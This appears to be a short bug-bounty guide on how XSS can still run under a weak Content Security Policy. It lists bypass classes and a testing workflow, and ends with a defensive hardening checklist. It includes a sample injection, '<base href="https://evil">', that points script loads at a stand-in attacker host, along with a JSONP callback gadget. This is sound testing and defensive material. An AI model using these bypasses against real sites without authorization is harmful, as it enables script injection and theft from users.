Content Security Policy Bypass: How XSS Still Wins
Content Security Policy (CSP) reduces XSS impact when it is strict. Many apps ship a policy that looks comforting in a header but still allows script gadgets, unsafe-inline, or overly broad host allowlists.
Your job is not “CSP is present.” Your job is “can my XSS still execute under this policy?”
Read the policy first
Check Content-Security-Policy (and report-only twin). Note:
script-srcwith'unsafe-inline'or'unsafe-eval'- Wildcards like
https:or*.cloudfront.net - Allowed JSONP or CDN hosts that host attacker-controllable files
- Missing
object-src,base-uri, orframe-ancestors
Common bypass classes
- Inline sinks allowed: policy permits inline scripts; your XSS tag runs
- Nonce/hash reuse: predictable or reflected nonces
- Whitelist CDN abuse: upload or find a JS file on an allowed host
- JSONP endpoints on allowed origins returning
callback=alert - Angular / toolkit gadgets that evaluate expressions without new script tags
base-urimissing: inject<base href="https://evil">to rewrite relative script loads
Testing workflow
- Confirm a markup injection point (even a “harmless” HTML injection).
- Fetch CSP and score how strict it is.
- Attempt execution paths that respect the policy (allowed hosts, nonces, gadgets).
- If execution works, CSP did not save them — report XSS with CSP analysis attached.
Report language
Show the policy, the injection, and the successful execution path. Recommend removing unsafe-inline, tightening host lists, using nonces correctly, and deploying CSP with reporting.
Defensive checklist
- Prefer nonces or hashes; avoid
unsafe-inline/unsafe-eval. - Avoid
*and broad CDN allowlists. - Set
base-uri 'self',object-src 'none', strictframe-ancestors. - Use report-uri / report-to while hardening.
- Treat CSP as defense-in-depth, not a substitute for output encoding.
CSP bypass research pairs naturally with XSS. Always ask: does the policy actually stop my sink?
Original Bugflare guide informed by PortSwigger CSP and XSS material.